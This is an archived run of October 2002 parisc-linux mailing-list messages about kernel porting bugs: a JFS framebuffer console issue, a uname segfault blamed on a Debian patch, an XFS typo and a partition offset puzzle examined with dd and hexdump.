Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] FW: [Bug #3332] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
Date: Fri, 18 Oct 2002 16:43:08 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <3DA56CAE00003154@ocpmta8.be.tiscali.com>
References: <3DA56CAE00002AEB@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621839 15773 80.91.229.3 (22 Nov 2014 02:03:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 07:46:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 402504829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 07:46:49 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscalinet) 
	id 182XSf-00054N-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 15:46:45 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Oct 2002 15:43:08 +0100
In-Reply-To: <3DA56CAE00002AEB@ocpmta8.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16518

>
>Hi all,
>
>May be much hppa specific problem.
>
>All advise is well come.
>
>Thanks in advance,
>    Joel
>
>--- Start of the Attached Message ---
>
>Date: Thu, 17 Oct 2002 12:47:30 -0400
>To: joel.soete@tiscali.be
>Subject: [Bug #3332] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
>From: admin@www-124.southbury.usf.ibm.com
>
>
>Bug #3332 has been submitted pending email address confirmation. 
>Here is a current snapshot of the bug.
>
>Project: 
>Category: kernel
>Status: Open
>Bug Group: bug
>Priority: 5
>Summary: jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
>
>Details: Hi all,
>
>Test your tools, I test early with success 1.0.17 (against k-2.4.18-pa54
>and latter).


Hmm I was wrong: I come back to jfs-2.4-1.0.17 against k-2.4.19-pa22 and
the problem is the same. So the actual problem is a change between 2.4.18(pa54)
and 2.4.19(pa22).

Any idea?

>
>Today, after spending some time to fix some evms tools problems, I update
>jfs against last k-2.4.19-pa20 (and latter) with release 1.0.22 and next
>1.0.23.
>
>I build successfully a jfs on a evms lvm, populate it, fsck all seems ok.
>
>Just an anoying problem the fb console is broken:
>just when kernel launches to detect the first scsi device the screen scroll
>stop and the rest of messages are all display over others on  the very top
>line of the screen.
>
>Thanks in advance for help,
>    Joel
>
>Thank you for submitting your bug. To have your bug published, visit the
>following url:
>
>http://www-124.ibm.com/developerworks/bugs/verify.php?confirm_hash=9001bfa38f3e1a4b
>
> -- the IBM OSS staff
>
>
>--- End of the Attached Message ---
>



From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux version 2.4.19-pa22 uname -a fault.
Date: Fri, 18 Oct 2002 16:07:43 +0200
Organization: WTEC
Lines: 51
Approved: news@gmane.org
Message-ID: <3DB015AF.C26FA30B@hpfrcu03.france.hp.com>
References: <3DA56CAE00003154@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621839 15776 80.91.229.3 (22 Nov 2014 02:03:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 08:06:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04FEB482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 08:06:10 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 59E7D1206
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 16:06:04 +0200 (METDST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu81.france.hp.com [15.129.16.181]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA06432; Fri, 18 Oct 2002 16:04:19 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16519

Hi All,

Got a brand new linux src 
compiled ok got this rev for this cpu

hpfrcm02:/proc# cat version cpuinfo
Linux version 2.4.19-pa22 (phi@hpfrcm02) (gcc version 3.0.4) #1 Fri Oct 18
13:32:55 CEST 2002
processor       : 0
cpu family      : PA-RISC 1.1d
cpu             : PA7100LC (PCX-L)
cpu MHz         : 80.000000
model           : 9000/712
model name      : Gecko 80 (712/80)
..........


Uname(1) -a goes dumb like this

non root:
=========
hpfrcm02:/home/phi> uname -a
Memory fault

As root:
========
hpfrcm02:/proc# uname -a
Segmentation fault

hpfrcm02:/home/phi> type uname
uname is /bin/uname

hpfrcm02:/home/phi> file /bin/uname
/bin/uname: ELF 32-bit MSB executable, PA-RISC (LP64) version 1 (GNU/Linux),
for
 GNU/Linux 2.4.4, dynamically linked (uses shared libs), stripped

!!! Is it ok? LP64 for pa1.1 ELF32 (may be just an elf glitch without any
consequence)

hpfrcm02:/home/phi> ldd  /bin/uname
        libc.so.6 => /lib/libc.so.6 (0x40028000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)

Did an apt-get update/upgrade/dist-upgrade, I guess thos shared libs are
currents

Any idea?
Cheers,
Phi


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] XFS (CVS release problem)
Date: Fri, 18 Oct 2002 18:25:42 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <3DA56CAE00003217@ocpmta8.be.tiscali.com>
References: <3DA56CAE000020FE@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621839 15780 80.91.229.3 (22 Nov 2014 02:03:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 09:29:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D36DC482D
	for <parisc-linux@parisc-linux.org>; Fri, 18 Oct 2002 09:29:56 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscalinet) 
	id 182Z4T-0000nH-00
	for <parisc-linux@parisc-linux.org>; Fri, 18 Oct 2002 17:29:53 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Oct 2002 17:25:42 +0100
In-Reply-To: <3DA56CAE000020FE@ocpmta8.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16520

Hi all,
>
>...
>#define xfs_bmbt_disk_set_allf(r, 0, b, c, v) \
>        xfs_bmbt_set_allf(r, 0, b, c, v)
>#endif
>...
>"
This was a typo fixed in last cvs.

Cheers,
    Joel



From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] asm/offset.h vs asm/offsets.h
Date: Fri, 18 Oct 2002 08:45:11 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021018154511.GU5602@tausq.org>
References: <20021018134522.A5285@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621840 15783 80.91.229.3 (22 Nov 2014 02:04:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 09:42:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30FFA482C
	for <parisc-linux@parisc-linux.org>; Fri, 18 Oct 2002 09:42:04 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A4AF1CD83C; Fri, 18 Oct 2002 08:45:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20021018134522.A5285@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16521

> can no longer be a part of it.  I'm not sure this is an awful problem
> since it's regenerated more consistently than our old offset.h, but it's
> something to be aware of before we switch.

make dep also doesn't seem to be required in 2.5 unless you have
CONFIG_MODVERSIONS, so the error message doesn't fit too well

let's use the "standard" method! :-)

randolph


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux version 2.4.19-pa22 uname -a fault.
Date: Fri, 18 Oct 2002 17:41:10 +0200
Organization: ESIEE
Lines: 62
Approved: news@gmane.org
Message-ID: <3DB02B96.6050702@esiee.fr>
References: <3DA56CAE00003154@ocpmta8.be.tiscali.com> <3DB015AF.C26FA30B@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621840 15784 80.91.229.3 (22 Nov 2014 02:04:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 09:44:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1702E4832
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 09:44:07 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 4D4D849C6A; Fri, 18 Oct 2002 17:44:02 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id 40BA049C9F; Fri, 18 Oct 2002 17:43:56 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16522

phi wrote:
> Hi All,
> 
> Got a brand new linux src 
> compiled ok got this rev for this cpu
> 
> hpfrcm02:/proc# cat version cpuinfo
> Linux version 2.4.19-pa22 (phi@hpfrcm02) (gcc version 3.0.4) #1 Fri Oct 18
> 13:32:55 CEST 2002
> processor       : 0
> cpu family      : PA-RISC 1.1d
> cpu             : PA7100LC (PCX-L)
> cpu MHz         : 80.000000
> model           : 9000/712
> model name      : Gecko 80 (712/80)
> ..........
> 
> 
> Uname(1) -a goes dumb like this
> 
> non root:
> =========
> hpfrcm02:/home/phi> uname -a
> Memory fault
> 
> As root:
> ========
> hpfrcm02:/proc# uname -a
> Segmentation fault
> 
> hpfrcm02:/home/phi> type uname
> uname is /bin/uname
> 
> hpfrcm02:/home/phi> file /bin/uname
> /bin/uname: ELF 32-bit MSB executable, PA-RISC (LP64) version 1 (GNU/Linux),
> for
>  GNU/Linux 2.4.4, dynamically linked (uses shared libs), stripped
> 
> !!! Is it ok? LP64 for pa1.1 ELF32 (may be just an elf glitch without any
> consequence)
> 
> hpfrcm02:/home/phi> ldd  /bin/uname
>         libc.so.6 => /lib/libc.so.6 (0x40028000)
>         /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)
> 
> Did an apt-get update/upgrade/dist-upgrade, I guess thos shared libs are
> currents
> 
> Any idea?
> Cheers,
> Phi
I saw that recently after dist-upgrading a debian unstable.
There is a bugreport already filled at debian bts.
Dunno if it's closed yet.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux version 2.4.19-pa22 uname -a fault.
Date: Fri, 18 Oct 2002 08:57:52 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20021018155752.GV5602@tausq.org>
References: <3DA56CAE00003154@ocpmta8.be.tiscali.com> <3DB015AF.C26FA30B@hpfrcu03.france.hp.com> <3DB02B96.6050702@esiee.fr>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621840 15786 80.91.229.3 (22 Nov 2014 02:04:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:00 +0000 (UTC)
Cc: phi <phi@hpfrcu03.france.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 09:54:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39969482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 09:54:39 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E4637CD83C; Fri, 18 Oct 2002 08:57:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3DB02B96.6050702@esiee.fr>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16523

> I saw that recently after dist-upgrading a debian unstable.
> There is a bugreport already filled at debian bts.
> Dunno if it's closed yet.

no it's not. debian's uname has some procinfo patch in it that's quite
broken imo. i'm going to submit a patch for this this weekend.

randolph


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Strange offset with file system parition
Date: Fri, 18 Oct 2002 17:58:40 +0200
Organization: H.P
Lines: 66
Approved: news@gmane.org
Message-ID: <3DB02FB0.5C048CF7@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------A6C8ECAEACB40A053591D3B6"
X-Trace: ger.gmane.org 1416621841 15788 80.91.229.3 (22 Nov 2014 02:04:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:01 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 09:58:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id B844E482F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 09:58:50 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id F11311655
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 17:58:46 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA29856 for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 17:57:02 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16524

This is a multi-part message in MIME format.
--------------A6C8ECAEACB40A053591D3B6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've succeded to produce my first dump using IODC.
I've retrieve it, but I had some difficulties
with ms-dos parition. I'm using "gendisk_head"
to retrieve start/end of a parition. For my sda1
it find 32768. So I'm writing at start+PAGE_SIZE
-> in my case it should be 0x8000 + 0x1000
And When I look by using 
dd if=/dev/sda skip=9 bs=4096 count=1 | hexdump
It's fine, I'm on the right place.

But when doing:
dd if=/dev/sda1 skip=1 bs=4096 count=1 | hexdump
-> I'm not good ?????
There is a difference of 0x600:

hexdump /tmp/sda1.bin | more
0000000 0000 0000 0000 0000 0000 0000 0000 0000
*
0001600 a819 0173 618f 23ed 0000 0005 0000 0778
0001610 0000 0008 0000 1000 0000 0000 0004 0000

-> I found my magic number 0x600 to fare.

But

# hexdump /tmp/sda.bin | more
.
.
0009000 a819 0173 618f 23ed 0000 0005 0000 0778

-> that okay !!!!!!!

So my question: where this difference come from ?

Thanks.


-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------A6C8ECAEACB40A053591D3B6
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------A6C8ECAEACB40A053591D3B6--



From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
Date: Fri, 18 Oct 2002 19:02:27 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <3DA56CAE00003256@ocpmta8.be.tiscali.com>
References: <3DA56CAE00003154@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621841 15817 80.91.229.3 (22 Nov 2014 02:04:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 10:06:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm6.tiscalinet.be [212.35.2.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B61A4830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 10:06:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscalinet) 
	id 182Zdc-0005Pn-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 18:06:12 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 18 Oct 2002 18:02:27 +0100
In-Reply-To: <3DA56CAE00003154@ocpmta8.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16525

>-- Original Message --
